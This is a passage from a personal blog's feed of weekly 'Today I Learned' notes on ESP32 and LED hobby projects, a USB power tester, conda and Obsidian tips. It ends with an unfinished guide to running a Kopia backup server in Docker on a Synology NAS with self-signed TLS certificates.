&lt;div
style="
background-color: #f4f4f4;
border-radius: 4px;
flex-grow: 0;
height: 14px;
margin-bottom: 6px;
width: 100px;
"
&gt;&lt;/div&gt;
&lt;div
style="
background-color: #f4f4f4;
border-radius: 4px;
flex-grow: 0;
height: 14px;
width: 60px;
"
&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style="padding: 19% 0"&gt;&lt;/div&gt;
&lt;div
style="display: block; height: 50px; margin: 0 auto 12px; width: 50px"
&gt;
&lt;svg
width="50px"
height="50px"
viewBox="0 0 60 60"
version="1.1"
xmlns="https://www.w3.org/2000/svg"
xmlns:xlink="https://www.w3.org/1999/xlink"
&gt;
&lt;g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd"&gt;
&lt;g transform="translate(-511.000000, -20.000000)" fill="#000000"&gt;
&lt;g&gt;
&lt;path
d="M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631"
&gt;&lt;/path&gt;
&lt;/g&gt;
&lt;/g&gt;
&lt;/g&gt;
&lt;/svg&gt;
&lt;/div&gt;
&lt;div style="padding-top: 8px"&gt;
&lt;div
style="
color: #3897f0;
font-family: Arial, sans-serif;
font-size: 14px;
font-style: normal;
font-weight: 550;
line-height: 18px;
"
&gt;
View this post on Instagram
&lt;/div&gt;
&lt;/div&gt;
&lt;div style="padding: 12.5% 0"&gt;&lt;/div&gt;
&lt;div
style="
display: flex;
flex-direction: row;
margin-bottom: 14px;
align-items: center;
"
&gt;
&lt;div&gt;
&lt;div
style="
background-color: #f4f4f4;
border-radius: 50%;
height: 12.5px;
width: 12.5px;
transform: translateX(0px) translateY(7px);
"
&gt;&lt;/div&gt;
&lt;div
style="
background-color: #f4f4f4;
height: 12.5px;
transform: rotate(-45deg) translateX(3px) translateY(1px);
width: 12.5px;
flex-grow: 0;
margin-right: 14px;
margin-left: 2px;
"
&gt;&lt;/div&gt;
&lt;div
style="
background-color: #f4f4f4;
border-radius: 50%;
height: 12.5px;
width: 12.5px;
transform: translateX(9px) translateY(-18px);
"
&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style="margin-left: 8px"&gt;
&lt;div
style="
background-color: #f4f4f4;
border-radius: 50%;
flex-grow: 0;
height: 20px;
width: 20px;
"
&gt;&lt;/div&gt;
&lt;div
style="
width: 0;
height: 0;
border-top: 2px solid transparent;
border-left: 6px solid #f4f4f4;
border-bottom: 2px solid transparent;
transform: translateX(16px) translateY(-4px) rotate(30deg);
"
&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div style="margin-left: auto"&gt;
&lt;div
style="
width: 0px;
border-top: 8px solid #f4f4f4;
border-right: 8px solid transparent;
transform: translateY(16px);
"
&gt;&lt;/div&gt;
&lt;div
style="
background-color: #f4f4f4;
flex-grow: 0;
height: 12px;
width: 16px;
transform: translateY(-4px);
"
&gt;&lt;/div&gt;
&lt;div
style="
width: 0;
height: 0;
border-top: 8px solid #f4f4f4;
border-left: 8px solid transparent;
transform: translateY(-4px) translateX(8px);
"
&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div
style="
display: flex;
flex-direction: column;
flex-grow: 1;
justify-content: center;
margin-bottom: 24px;
"
&gt;
&lt;div
style="
background-color: #f4f4f4;
border-radius: 4px;
flex-grow: 0;
height: 14px;
margin-bottom: 6px;
width: 224px;
"
&gt;&lt;/div&gt;
&lt;div
style="
background-color: #f4f4f4;
border-radius: 4px;
flex-grow: 0;
height: 14px;
width: 144px;
"
&gt;&lt;/div&gt;&lt;/div
&gt;&lt;/a&gt;
&lt;/div&gt;
&lt;/blockquote&gt;&lt;script async src="https://www.instagram.com/embed.js"&gt;&lt;/script&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;WLED&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WLED has a built in tool for images, pixel art, gifs, scrolling text etc which can be accessed by going to &amp;lt; wled-ip&amp;gt;/pixelforge.htm&lt;/li&gt;
&lt;li&gt;Built a nice little display piece with a 64x64 LED matrix, an INMP441 mic and WLED for my stuff/office&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://x.com/shantanugoel/status/2003821491696378325"&gt;https://x.com/shantanugoel/status/2003821491696378325&lt;/a&gt;&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;Installed at its resting place! Would be cool to see the people in my work zoom calls see this react to their voices 😁 &lt;a href="https://t.co/iSTw2dkDri"&gt;pic.twitter.com/iSTw2dkDri&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/2003821491696378325?ref_src=twsrc%5Etfw"&gt;December 24, 2025&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bought some &amp;ldquo;mist maker&amp;rdquo; modules and tried running them off of a battery but of course that didnt work.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ultrasonic piezoelectric mist makers require a driving circuit and cannot run directly from a battery because they need AC signal at a precise high frequency to function.&lt;/li&gt;
&lt;li&gt;Piezoelectric transducers change shape when an electric field is applied and to produce mist they need to vibrate rapidly.&lt;/li&gt;
&lt;li&gt;A special circuit can take DC voltage and act as an oscillator using a timer/transistor/dedicated chip to convert into a high frequency AC signal that matches the transducer&amp;rsquo;s resonant frequency&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Capacitive Touch&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Found that ESP32 can detect touch without a dedicated sensor by using its built-in capacitive touch pins, connecting just a wire or foil to a supported GPIO pin and reading changes in capacitance. Your body acts as the capacitor.&lt;/li&gt;
&lt;li&gt;Also found that TTP223 Capacitive touch sensors work THROUGH plastic/glass etc. I thought I&amp;rsquo;ll have to expose them directly.
&lt;ul&gt;
&lt;li&gt;They have onboard pads to control their behavior (momentary v/s toggle and high/low triggering) so can use them directly as a switch without an MCU&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;ESP32 S3 Super mini boards (at least on hubtronics) seem to have built in BMS (LTH7R), which would simplify a lot of my circuits&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ai"&gt;AI!&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Gemini finally has chat history cross-referencing support!
&lt;a href="https://x.com/shantanugoel/status/2004223837777641585"&gt;https://x.com/shantanugoel/status/2004223837777641585&lt;/a&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;Seeing gemini store and reference info about me from my other conversations for the first time &lt;br&gt;cc &lt;a href="https://twitter.com/manthanguptaa?ref_src=twsrc%5Etfw"&gt;@manthanguptaa&lt;/a&gt; &lt;a href="https://t.co/21LMqlHAxc"&gt;pic.twitter.com/21LMqlHAxc&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/2004223837777641585?ref_src=twsrc%5Etfw"&gt;December 25, 2025&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Bytes and TIL FOR Week 51 2025</title><link>https://shantanugoel.com/2025/12/22/bytes-til-week-51-2025/</link><pubDate>Mon, 22 Dec 2025 20:36:44 +0530</pubDate><guid>https://shantanugoel.com/2025/12/22/bytes-til-week-51-2025/</guid><description>&lt;h2 id="macos-and-miniforge"&gt;macOS and miniforge&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;On macOS, if you install miniforge, by default it always updates bash_profile for conda init, even if your shell is zsh.&lt;/li&gt;
&lt;li&gt;To fix and use conda/miniforge properly, run conda init zsh after installing miniforge.&lt;/li&gt;
&lt;li&gt;miniforge / conda change the prompt to add the currently active env name to the shell which is not needed if you already use something like oh-my-zsh/startship etc&lt;/li&gt;
&lt;li&gt;To remove this, run conda config &amp;ndash;set changeps1 false&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="learnt-about-snapblocks-as-a-better-alternative-to-scratch"&gt;Learnt about Snapblocks as a better alternative to scratch&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/nileshtrivedi/status/2002634236319134008"&gt;https://x.com/nileshtrivedi/status/2002634236319134008&lt;/a&gt;&lt;/p&gt;</description><content>&lt;h2 id="macos-and-miniforge"&gt;macOS and miniforge&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;On macOS, if you install miniforge, by default it always updates bash_profile for conda init, even if your shell is zsh.&lt;/li&gt;
&lt;li&gt;To fix and use conda/miniforge properly, run conda init zsh after installing miniforge.&lt;/li&gt;
&lt;li&gt;miniforge / conda change the prompt to add the currently active env name to the shell which is not needed if you already use something like oh-my-zsh/startship etc&lt;/li&gt;
&lt;li&gt;To remove this, run conda config &amp;ndash;set changeps1 false&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="learnt-about-snapblocks-as-a-better-alternative-to-scratch"&gt;Learnt about Snapblocks as a better alternative to scratch&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/nileshtrivedi/status/2002634236319134008"&gt;https://x.com/nileshtrivedi/status/2002634236319134008&lt;/a&gt;&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;Do it as early as you can. Scratch has nailed the community angle and so, kids can spend hours on it just playing readymade games without learning much.&lt;br&gt;&lt;br&gt;If you want some structured content around &lt;a href="https://twitter.com/SnapLang?ref_src=twsrc%5Etfw"&gt;@snaplang&lt;/a&gt;, try these:&lt;br&gt;&lt;br&gt;- &lt;a href="https://t.co/QhtsvnoMDN"&gt;https://t.co/QhtsvnoMDN&lt;/a&gt;&lt;br&gt;- &lt;a href="https://t.co/vV6JmLHhEq"&gt;https://t.co/vV6JmLHhEq&lt;/a&gt;&lt;br&gt;-… &lt;a href="https://t.co/SNRwMwTIvK"&gt;pic.twitter.com/SNRwMwTIvK&lt;/a&gt;&lt;/p&gt;&amp;mdash; Nilesh Trivedi (@nileshtrivedi) &lt;a href="https://twitter.com/nileshtrivedi/status/2002634236319134008?ref_src=twsrc%5Etfw"&gt;December 21, 2025&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;h2 id="learnt-about-ppsptpsynce-and-how-they-are-used-in-data-centers-instead-ofin-addition-to-ntp"&gt;Learnt about PPS/PTP/SyncE and how they are used in data centers instead of/in addition to NTP&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/shantanugoel/status/2002629170292244860"&gt;https://x.com/shantanugoel/status/2002629170292244860&lt;/a&gt;&lt;/p&gt;
&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="en" dir="ltr"&gt;TIL PPS/PTP/SyncE and their need beyond depending on NTP. &lt;a href="https://t.co/IjcsHmY1Jx"&gt;https://t.co/IjcsHmY1Jx&lt;/a&gt;&lt;/p&gt;&amp;mdash; Shantanu Goel (@shantanugoel) &lt;a href="https://twitter.com/shantanugoel/status/2002629170292244860?ref_src=twsrc%5Etfw"&gt;December 21, 2025&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;
&lt;h2 id="obsidian-tweaks"&gt;Obsidian tweaks&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Image view size in obsidian can be controlled by mentioning the width e.g. &lt;code&gt;![Alt Text|150](image.png)&lt;/code&gt; limits the image width to 150 px&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="found-a-few-options-for-sensors-to-use-for-building-a-diy-air-quality-monitor"&gt;Found a few options for sensors to use for building a DIY Air Quality Monitor&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;SEN55: Good all in one except CO2 which is algo based in this sensor&lt;/li&gt;
&lt;li&gt;SCD40/41: For real CO2 measurements. SCD40 should be good enough for home use&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="esp32-power-info"&gt;ESP32 power info&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Waveshare ESP32 S3 Matrix board can work even with 3.7v (from a LIPO battery, e.g.) applied to it&amp;rsquo;s 5V input pin as well
&lt;ul&gt;
&lt;li&gt;This works because they use a LDO (Low Dropout) regulator which is high efficiency and drops only about 0.1-0.2v. So even after dropping voltage from 3.7v, it remains sufficiently above 3v+ for the ESP32 to work well&lt;/li&gt;
&lt;li&gt;For many other ESP32 boards, including some of the offical dev kits, the regulator drops 1.1-1.3v which makes using a regular 3.7v battery at the 5v unusable.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Bytes and TIL For Week 50 2025</title><link>https://shantanugoel.com/2025/12/14/bytes-til-week-50-2025/</link><pubDate>Sun, 14 Dec 2025 18:19:05 +0530</pubDate><guid>https://shantanugoel.com/2025/12/14/bytes-til-week-50-2025/</guid><description>&lt;h2 id="icloud-sync-exclusions"&gt;iCloud sync exclusions&lt;/h2&gt;
&lt;p&gt;One can avoid syncing a file or folder in iCloud drive by adding a &lt;code&gt;.nosync&lt;/code&gt; extension to it (for a file) or a &lt;code&gt;.tmp&lt;/code&gt; extention to it (for a folder).
Quite a bit backwards if you ask me, but it is what it is.&lt;/p&gt;
&lt;h2 id="a-few-tils-and-notes-for-fnirsi-fnb-c2"&gt;A few TILs and notes for Fnirsi FNB-C2&lt;/h2&gt;
&lt;p&gt;Got this USB power meter/tester a few weeks ago&lt;/p&gt;
&lt;h3 id="updating-fnirsi-fnb-c2-firmware"&gt;Updating Fnirsi FNB-C2 Firmware&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Download the firmware from fnirsi website&lt;/li&gt;
&lt;li&gt;Press &amp;ldquo;OK&amp;rdquo; on FNB-C2 and connect a USB cable to the data port (USB sign) on C2 and to a PC&lt;/li&gt;
&lt;li&gt;A drive will appear on the PC with about 8 MB size&lt;/li&gt;
&lt;li&gt;Unzip the firmware and copy the bin file to the drive&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;ll take a couple of minutes or a bit more, without appearing to move but when the copying is finished, the device will automatically reboot with the new firmware&lt;/li&gt;
&lt;li&gt;You can check the firmware version by going to Settings-&amp;gt;About on the device&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="running-a-capacity-test-on-a-device-using-fnirsi-fnb-c2"&gt;Running a capacity test on a device using Fnirsi FNB-C2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This can be done directly on the FNB-C2 device itself but it has a limit of 9 hours max, which may be problematic if you are testing a large capacity battery/power bank etc. Hence, the need to do it on PC which doesn&amp;rsquo;t have such limits.&lt;/li&gt;
&lt;li&gt;Download the USB Tester Tool software from fnirsi&amp;rsquo;s website.&lt;/li&gt;
&lt;li&gt;This works only on windows or linux&lt;/li&gt;
&lt;li&gt;Open the software, and connect the FNB-c2 device to a USB port on host to the data port on c2&lt;/li&gt;
&lt;li&gt;Set the sampling rate (anything you want according to need), start cur (acc to need but non zero preferably), stop cur near 0 (but not exactly 0, something small. Otherwise there&amp;rsquo;s some minimal current always flowing even after the battery runs out), stop time to 5 seconds or so. Then click on create and then start&lt;/li&gt;
&lt;li&gt;Connect the input and output ports on the c2 to the device under test, and the load respectively&lt;/li&gt;
&lt;li&gt;Make sure the CAP and NRG items under Auxiliary Record are set to record/display as needed&lt;/li&gt;
&lt;li&gt;Now, sit back and let the capture happen&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="testing-anker-maggo-633-battery-capacity-after-3-years-of-usage"&gt;Testing Anker MagGo 633 Battery Capacity after 3 years of Usage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Anker seems to hold up pretty well despite a lot of active usage across these 3 years&lt;/li&gt;
&lt;li&gt;Still maintaining 94%+ battery capacity&lt;/li&gt;
&lt;li&gt;Below are the results
&lt;img src="https://shantanugoel.com/img/2025/anker-maggo-633-battery-test.png" alt="Anker MagGo 633 Battery Test Results"&gt;&lt;/li&gt;
&lt;/ul&gt;</description><content>&lt;h2 id="icloud-sync-exclusions"&gt;iCloud sync exclusions&lt;/h2&gt;
&lt;p&gt;One can avoid syncing a file or folder in iCloud drive by adding a &lt;code&gt;.nosync&lt;/code&gt; extension to it (for a file) or a &lt;code&gt;.tmp&lt;/code&gt; extention to it (for a folder).
Quite a bit backwards if you ask me, but it is what it is.&lt;/p&gt;
&lt;h2 id="a-few-tils-and-notes-for-fnirsi-fnb-c2"&gt;A few TILs and notes for Fnirsi FNB-C2&lt;/h2&gt;
&lt;p&gt;Got this USB power meter/tester a few weeks ago&lt;/p&gt;
&lt;h3 id="updating-fnirsi-fnb-c2-firmware"&gt;Updating Fnirsi FNB-C2 Firmware&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Download the firmware from fnirsi website&lt;/li&gt;
&lt;li&gt;Press &amp;ldquo;OK&amp;rdquo; on FNB-C2 and connect a USB cable to the data port (USB sign) on C2 and to a PC&lt;/li&gt;
&lt;li&gt;A drive will appear on the PC with about 8 MB size&lt;/li&gt;
&lt;li&gt;Unzip the firmware and copy the bin file to the drive&lt;/li&gt;
&lt;li&gt;It&amp;rsquo;ll take a couple of minutes or a bit more, without appearing to move but when the copying is finished, the device will automatically reboot with the new firmware&lt;/li&gt;
&lt;li&gt;You can check the firmware version by going to Settings-&amp;gt;About on the device&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="running-a-capacity-test-on-a-device-using-fnirsi-fnb-c2"&gt;Running a capacity test on a device using Fnirsi FNB-C2&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This can be done directly on the FNB-C2 device itself but it has a limit of 9 hours max, which may be problematic if you are testing a large capacity battery/power bank etc. Hence, the need to do it on PC which doesn&amp;rsquo;t have such limits.&lt;/li&gt;
&lt;li&gt;Download the USB Tester Tool software from fnirsi&amp;rsquo;s website.&lt;/li&gt;
&lt;li&gt;This works only on windows or linux&lt;/li&gt;
&lt;li&gt;Open the software, and connect the FNB-c2 device to a USB port on host to the data port on c2&lt;/li&gt;
&lt;li&gt;Set the sampling rate (anything you want according to need), start cur (acc to need but non zero preferably), stop cur near 0 (but not exactly 0, something small. Otherwise there&amp;rsquo;s some minimal current always flowing even after the battery runs out), stop time to 5 seconds or so. Then click on create and then start&lt;/li&gt;
&lt;li&gt;Connect the input and output ports on the c2 to the device under test, and the load respectively&lt;/li&gt;
&lt;li&gt;Make sure the CAP and NRG items under Auxiliary Record are set to record/display as needed&lt;/li&gt;
&lt;li&gt;Now, sit back and let the capture happen&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="testing-anker-maggo-633-battery-capacity-after-3-years-of-usage"&gt;Testing Anker MagGo 633 Battery Capacity after 3 years of Usage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Anker seems to hold up pretty well despite a lot of active usage across these 3 years&lt;/li&gt;
&lt;li&gt;Still maintaining 94%+ battery capacity&lt;/li&gt;
&lt;li&gt;Below are the results
&lt;img src="https://shantanugoel.com/img/2025/anker-maggo-633-battery-test.png" alt="Anker MagGo 633 Battery Test Results"&gt;&lt;/li&gt;
&lt;/ul&gt;</content></item><item><title>Setting up Kopia on Synology to Backup MBP</title><link>https://shantanugoel.com/2025/12/12/kopia-synology-backup-mbp/</link><pubDate>Fri, 12 Dec 2025 16:16:24 +0530</pubDate><guid>https://shantanugoel.com/2025/12/12/kopia-synology-backup-mbp/</guid><description>&lt;h2 id="why"&gt;Why?&lt;/h2&gt;
&lt;p&gt;Who doesn&amp;rsquo;t want to backup all their stuff, that is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fast&lt;/li&gt;
&lt;li&gt;Reliable&lt;/li&gt;
&lt;li&gt;De-Duplicated&lt;/li&gt;
&lt;li&gt;Has all the encryption, scheduling, and tons of extra bells and whistles?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Well, Synology Synology Active Backup for Business (ABB) has all of it, that I use to back up all my Windows and Linux devices. However, on M-series MBPs, the ABB agent requires installing Rosetta. I don’t want to do that, and so far I’ve managed with Synology Drive Client and other approaches.&lt;/p&gt;</description><content>&lt;h2 id="why"&gt;Why?&lt;/h2&gt;
&lt;p&gt;Who doesn&amp;rsquo;t want to backup all their stuff, that is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fast&lt;/li&gt;
&lt;li&gt;Reliable&lt;/li&gt;
&lt;li&gt;De-Duplicated&lt;/li&gt;
&lt;li&gt;Has all the encryption, scheduling, and tons of extra bells and whistles?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Well, Synology Synology Active Backup for Business (ABB) has all of it, that I use to back up all my Windows and Linux devices. However, on M-series MBPs, the ABB agent requires installing Rosetta. I don’t want to do that, and so far I’ve managed with Synology Drive Client and other approaches.&lt;/p&gt;
&lt;p&gt;The downside is that I miss out on the niceties of deduplication and compression, which wastes space and bandwidth. I went looking for an alternative and found &lt;code&gt;Kopia&lt;/code&gt;, which fits my needs well.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Kopia&lt;/code&gt; is powerful and highly configurable, but I found the install steps a bit confusing across the docs, so I documented exactly what I did.&lt;/p&gt;
&lt;h2 id="synology-kopia-server"&gt;Synology (Kopia Server)&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Kopia can also work without a server, by exposing an SFTP or SMB share from Synology to the Kopia client running on the MBP.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;However, I dislike exposing file shares from my NAS: it increases the attack surface and (without a server) increases the load (CPU/network) on the client machine. A server also brings advantages like shared resources and deduping, abstraction of the storage backend, finer ACL control, and more.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Synology doesn’t have a native Kopia app, so I ran it via Container Manager (Docker). I followed these steps (all on the Synology DS720+ NAS, except where explicitly mentioned):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install Container Manager (CM) from the Synology app store.&lt;/li&gt;
&lt;li&gt;On CM’s &lt;strong&gt;Image&lt;/strong&gt; tab, download the &lt;code&gt;kopia/kopia&lt;/code&gt; image with the &lt;code&gt;latest&lt;/code&gt; tag.&lt;/li&gt;
&lt;li&gt;On CM’s &lt;strong&gt;Container&lt;/strong&gt; tab, create a new container with these settings:
&lt;ul&gt;
&lt;li&gt;Image: &lt;code&gt;kopia/kopia:latest&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Container Name: &lt;code&gt;kopia-kopia-1&lt;/code&gt; (you can choose anything you want)&lt;/li&gt;
&lt;li&gt;Enable &lt;strong&gt;Auto-restart&lt;/strong&gt; to make sure the Kopia server is always running&lt;/li&gt;
&lt;li&gt;Port mapping: &lt;code&gt;51515:51515&lt;/code&gt; (TCP)&lt;/li&gt;
&lt;li&gt;Create folders for Kopia and set up permissions (choose any base folder; I chose &lt;code&gt;/volume1/Backups&lt;/code&gt;):
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/volume1/Backups/kopia/config:/app/config:rw&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/volume1/Backups/kopia/cache:/app/cache:rw&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/volume1/Backups/kopia/logs:/app/logs:rw&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/volume1/Backups/kopia/repository:/repository:rw&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/volume1/Backups/kopia/tmp:/tmp:rw&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Add the following environment variables:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;KOPIA_CACHE_DIRECTORY&lt;/code&gt;: &lt;code&gt;/app/cache&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KOPIA_PASSWORD&lt;/code&gt;: generate a secure password for your repository and set it here&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KOPIA_CONFIG_PATH&lt;/code&gt;: &lt;code&gt;/app/config/repository.config&lt;/code&gt; (Kopia will save repository config here)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KOPIA_SERVER_USERNAME&lt;/code&gt;: set a username for the Web UI basic auth&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KOPIA_SERVER_PASSWORD&lt;/code&gt;: set a password for the Web UI basic auth&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KOPIA_SERVER_CONTROL_USERNAME&lt;/code&gt;: set a username for the server control commands&lt;/li&gt;
&lt;li&gt;&lt;code&gt;KOPIA_SERVER_CONTROL_PASSWORD&lt;/code&gt;: set a password for the server control commands&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Optional: generate TLS certs for an HTTPS connection:
&lt;ul&gt;
&lt;li&gt;You could choose to run without TLS using &lt;code&gt;--insecure&lt;/code&gt; in the server command since this is only for your internal network, but I like to do HTTPS everywhere.&lt;/li&gt;
&lt;li&gt;You could also use Kopia server itself to generate self-signed certs, but you will have to create/run a separate container with a different command for this; otherwise it will always generate certs.&lt;/li&gt;
&lt;li&gt;Run the following commands in order and upload the generated files to the &lt;code&gt;kopia/config&lt;/code&gt; folder:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;openssl genrsa -out server.key 2048&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openssl req -new -key server.key -out server.csr&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Update the &lt;strong&gt;Execution Command&lt;/strong&gt; to:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;server start --address=0.0.0.0:51515 --tls-cert-file /app/config/server.crt --tls-key-file /app/config/server.key&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Start the container and navigate to the Web UI at &lt;code&gt;https://NASIP:51515&lt;/code&gt;.
&lt;ul&gt;
&lt;li&gt;Use the Web UI username/password from above to log in.&lt;/li&gt;
&lt;li&gt;Click &lt;code&gt;Repository&lt;/code&gt; -&amp;gt; &lt;code&gt;Local Directory or NAS&lt;/code&gt;.
&lt;ul&gt;
